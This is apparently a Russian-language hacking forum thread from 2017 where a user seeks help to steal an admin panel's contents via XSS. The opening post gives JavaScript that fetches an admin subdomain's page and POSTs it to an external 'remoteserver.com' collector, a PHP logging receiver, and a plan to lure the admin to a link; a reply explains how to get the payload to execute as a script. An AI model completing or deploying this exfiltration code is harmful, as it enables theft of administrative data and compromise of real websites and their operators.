XSS => Код страницы

Discussion in 'Песочница' started by Elva, 12 May 2017.

  1. Elva

    Elva New Member

    Joined:
    1 Jan 2016
    Messages:
    24
    Likes Received:
    0
    Reputations:
    0
    1. На "sub.domen.com" расположен html файл со скриптом.
    Саб является админкой. На куке http only.

    Скрипт
    Code:
    img = new Image(); img.src = "[URL]https://domen.com/img.gif?[/URL]"+document.cookie;
    
    Отредактировать файл нельзя.
    Залить новый нельзя.

    2. Есть код для получения исходника страницы и передачи на удаленный сервер

    Code:
    var xhr = new XMLHttpRequest();
       xhr.open('GET', '[URL]https://sub.domen.com/[/URL]', true);
       xhr.send(null);
       xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
      if(xhr.status == 200) {
               var fhr = new XMLHttpRequest();
               fhr.open('POST', '[URL]http://remoteserver.com/i.php[/URL]', true);
               fhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
               fhr.withCredentials = true;
               var body = 'file=' + escape(xhr.responseText);
               var aBody = new Uint8Array(body.length);
               for (var i = 0; i < aBody.length; i++)
                 aBody[I] = body.charCodeAt(i);
               fhr.send(new Blob([aBody]));
      }
      }
    }
    
    Code:
    <?php
    header('Access-Control-Allow-Origin: [URL]https://sub.domen.com/');[/URL]
    header('Access-Control-Allow-Credentials: true');
    header('Access-Control-Allow-Methods: OPTIONS, GET, POST');
    header('Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control');
    
    file_put_contents('./log.html', urldecode($_POST['file'])."<hr>", FILE_APPEND);
    ?> 
    
    
    Задача
    Доделать js скрипт парсинга страницы, чтобы в дальнейшем его подставить на место img.gif и спарсить админку, подогнав админа на линк.

    Что необходимо сделать, чтобы скрипт сработал?[/I]
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Никак, у тебя получается просто битая картинка. Нужно:
    Code:
    var script = document.createElement('script');
    script.src = "https://domen.com/img.gif";
    
    или
    Code:
    <script src="https://domen.com/img.gif"></script>
    
     
    Elva likes this.
  3. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Непонял, ты сможешь подменить файл img.gif на https://domen.com?